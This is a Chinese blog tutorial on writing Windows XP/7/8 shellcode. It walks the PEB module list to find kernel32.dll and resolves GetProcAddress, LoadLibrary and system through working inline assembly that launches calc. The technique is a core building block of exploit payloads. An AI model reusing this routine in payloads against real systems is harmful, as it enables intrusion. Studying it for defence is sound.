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WinXP/Win7/Win8通用shellcode

热度:70   发布时间:2023-12-22 14:32:26.0


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众所周知,在windows xp时代未启用ASLR(Address space layout randomization,堆栈地址随机分布),我们在编写shellcode可以利用硬编码法,将地址写入shellcode,但是这种方法的缺点很明显--不具备通用性。在xp sp2上能跑起来的,在xp sp3上有可能就运行不了。

因为在windows 7中_PEB_LDR_DATA表和以前的系统有了改变,直接查询0x08方式在win7下失效,所以要通过遍历的方法找到Kernel32.dll的基址。

首先我们看PEB的结构

 

ntdll!_PEB
    + 0x000 InheritedAddressSpace : UChar
    + 0x001 ReadImageFileExecOptions : UChar
    + 0x002 BeingDebugged    : UChar
    + 0x003 SpareBool        : UChar
    + 0x004 Mutant           : Ptr32 Void
    + 0x008 ImageBaseAddress : Ptr32 Void
    + 0x00c Ldr              : Ptr32 _PEB_LDR_DATA
    + 0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
    + 0x014 SubSystemData    : Ptr32 Void
    + 0x018 ProcessHeap      : Ptr32 Void
    + 0x01c FastPebLock      : Ptr32 _RTL_CRITICAL_SECTION
    + 0x020 FastPebLockRoutine : Ptr32 Void
    + 0x024 FastPebUnlockRoutine : Ptr32 Void
    + 0x028 EnvironmentUpdateCount : Uint4B
    + 0x02c KernelCallbackTable : Ptr32 Void
    + 0x030 SystemReserved   : [ 1 ] Uint4B
    + 0x034 AtlThunkSListPtr32 : Uint4B
    + 0x038 FreeList         : Ptr32 _PEB_FREE_BLOCK
    + 0x03c TlsExpansionCounter : Uint4B
    + 0x040 TlsBitmap        : Ptr32 Void
    + 0x044 TlsBitmapBits    : [ 2 ] Uint4B
    + 0x04c ReadOnlySharedMemoryBase : Ptr32 Void
    + 0x050 ReadOnlySharedMemoryHeap : Ptr32 Void
    + 0x054 ReadOnlyStaticServerData : Ptr32 Ptr32 Void
    + 0x058 AnsiCodePageData : Ptr32 Void
    + 0x05c OemCodePageData  : Ptr32 Void
    + 0x060 UnicodeCaseTableData : Ptr32 Void

0x0ch为)PEB_LDR_DATA结构,下面是它的结构

ntdll!_PEB_LDR_DATA+0x000 Length           : Uint4B+0x004 Initialized      : UChar+0x008 SsHandle         : Ptr32 Void+0x00c InLoadOrderModuleList : _LIST_ENTRY+0x014 InMemoryOrderModuleList : _LIST_ENTRY+0x01c InInitializationOrderModuleList : _LIST_ENTRY+0x024 EntryInProgress  : Ptr32 Void


其实,LIST_ENTRY就是一双向链表,我们注意看_PEB_LDR_DATA结构这几项

+0x00c InLoadOrderModuleList : _LIST_ENTRY
+0x014 InMemoryOrderModuleList : _LIST_ENTRY
+0x01c InInitializationOrderModuleList : _LIST_ENTRY

它们指向以下结构_LDR_DATA_TABLE_ENTRY也就是_LDR_MODULE

ntdll!_LDR_DATA_TABLE_ENTRY+0x000 InLoadOrderLinks : _LIST_ENTRY+0x008 InMemoryOrderLinks : _LIST_ENTRY+0x010 InInitializationOrderLinks : _LIST_ENTRY+0x018 DllBase          : Ptr32 Void+0x01c EntryPoint       : Ptr32 Void+0x020 SizeOfImage      : Uint4B+0x024 FullDllName      : _UNICODE_STRING+0x02c BaseDllName      : _UNICODE_STRING+0x034 Flags            : Uint4B+0x038 LoadCount        : Uint2B+0x03a TlsIndex         : Uint2B+0x03c HashLinks        : _LIST_ENTRY+0x03c SectionPointer   : Ptr32 Void+0x040 CheckSum         : Uint4B+0x044 TimeDateStamp    : Uint4B+0x044 LoadedImports    : Ptr32 Void+0x048 EntryPointActivationContext : Ptr32 Void+0x04c PatchInformation : Ptr32 Void

用图片表示一下上述文字


可以通过遍历_LDR_MODULE来获得kernel32.dll的基址,然后再通过字符串比较寻找GetProcAddress的地址,随后就一马平川了

int main()
{__asm{push ebp;mov esi,fs:0x30;            //PEBmov esi, [esi + 0x0C];   //+0x00c Ldr              : Ptr32 _PEB_LDR_DATAmov esi, [esi + 0x1C];  //+0x01c InInitializationOrderModuleList : _LIST_ENTRY
next_module:mov ebp, [esi + 0x08];mov edi, [esi + 0x20];mov esi, [esi];cmp [edi + 12*2],cl;jne next_module;mov edi,ebp;//寻找GetProcAddress地址sub esp,100;mov ebp,esp;mov eax,[edi+3ch];//PE头mov edx,[edi+eax+78h]add edx,edi;mov ecx,[edx+18h];//函数数量mov ebx,[edx+20h];add ebx,edi;
search:dec ecx;mov esi,[ebx+ecx*4];        add esi,edi;         mov eax,0x50746547;        cmp [esi],eax;         jne search;mov eax,0x41636f72;          cmp [esi+4],eax;   jne search;mov ebx,[edx+24h];add ebx,edi;mov cx,[ebx+ecx*2];mov ebx,[edx+1ch];add ebx,edi;mov eax,[ebx+ecx*4];add eax,edi;mov [ebp+76],eax;//eax为GetProcAddress地址//获取LoadLibrary地址push 0;push 0x41797261;push 0x7262694c;push 0x64616f4c;push esppush edicall [ebp+76]mov[ebp+80],eax;//获取ExitProcess地址push 0;push 0x737365;push 0x636f7250;push 0x74697845;push esp;push edi;call [ebp+76];mov [ebp+84],eax;//加载msvcrt.dll   LoadLibrary("msvcrt")push 0;push 0x7472;push 0x6376736d;push esp;call [ebp+80];mov edi,eax;//获取system地址push 0;push 0x6d65;push 0x74737973;push esp;push edi;call [ebp+76];mov [ebp+88],eax;//system("calc")push 0;push 0x636c6163;push esp;call [ebp+88];//ExitProcesscall [ebp+84];}return 0;
}

因为写shellcode的时候没有考虑堆栈平衡,所以运行shellcode的时候会报错,所以我们在结束时直接调用ExitProcess来关闭进程。

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